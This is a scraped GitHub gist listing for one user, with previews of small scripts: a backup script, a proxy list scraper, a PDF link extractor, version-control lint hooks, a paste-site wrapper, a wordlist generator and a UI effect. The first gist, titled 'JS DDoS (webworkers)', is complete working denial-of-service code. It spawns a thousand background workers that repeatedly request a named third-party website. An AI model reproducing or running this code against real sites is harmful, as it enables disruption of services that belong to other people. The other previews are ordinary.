Skip to content

Instantly share code, notes, and snippets.

starenka starenka

Block or report user

Report or block starenka

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@starenka
starenka / dos_ww_cor.js
Created Dec 19, 2010
JS DDoS (webworkers)
View dos_ww_cor.js
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
{
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
worker.postMessage();
}
View backup.sh
#!/usr/bin/env bash
TAR_MAC="00:1f:d0:**:**:**"
TAR_HOST="bedna"
TAR_USER="starenka"
MAX_BW=400 #KB/s
MAX_TRIES=5
INTERVAL_TRIES=30
DIALOG_TITLE="--display :0 --title Backup"
DIRS=('/photo' '/www' '/prac' '/home/starenka/.scripts' '/home/starenka/bin' '/mail' '/home/starenka/.opera' '/home/starenka/jobs' '/home/starenka/.purple '
View proxy_leech.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# quick & dirty nntime proxy leech
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since Dec 22, 2010
@starenka
starenka / norespekt.py
Created Dec 21, 2010
Respekt - PDF links extraction
View norespekt.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Pulls out links to PDFs from Respekt user section.
# *As the site allows only one logged in user at once,
# you need to logout in your browser in order to use this script.
# usage:
# $ ./norespekt.py > respekt_links
# $ cat respekt_links | xargs -P 10 -r -n 1 wget -nv
#
@starenka
starenka / bzr_precommit_lint.py
Created Dec 22, 2010
bzr hooks (py, rb, php syntax check)
View bzr_precommit_lint.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# this is a plugin/hook for bazaar. just add this file to ~/.bazaar/plugins/precommit"""
#
# @author: starenka
# @email: starenka0[at]gmail[dot]com
# @version: 1.1
# @since Feb 28, 2010
@starenka
starenka / openpyster.py
Created Jan 1, 2011
openpaste.org wrapper
View openpyster.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openpaste.org wrapper
#
# reads from stdin and copies uri to klipper by default
#
# @author: starenka
# @email: admin[at]starenka[dot]net
# @version: 1.1
@starenka
starenka / wg.py
Created Jan 1, 2011
wordlist generator
View wg.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# simple wl generator
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since 1/1/11
# @requires python 2.6
@starenka
starenka / shell-fu.py
Created Jan 15, 2011
shellfu - one liner dbase
View shell-fu.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# simple shell-fu database
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.3
# @since 1/14/11
# @depends sqlalchemy
@starenka
starenka / openpyster.py
Created Jan 16, 2011
openpaste.org wrapper
View openpyster.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openpaste.org wrapper
#
# reads from stdin and copies uri to klipper by default
#
# @author: starenka
# @email: admin[at]starenka[dot]net
# @version: 1.1
@starenka
starenka / extrafx.js
Created Jan 16, 2011
BlindRight & Left for scriptaculous
View extrafx.js
/**
* @author starenka
*/
Effect.BlindRight = function(element) {
element = $(element);
var elementDimensions = element.getDimensions();
return new Effect.Scale(element, 100, Object.extend({
scaleContent: false,
scaleY: false,
scaleFrom: 0,
You can’t perform that action at this time.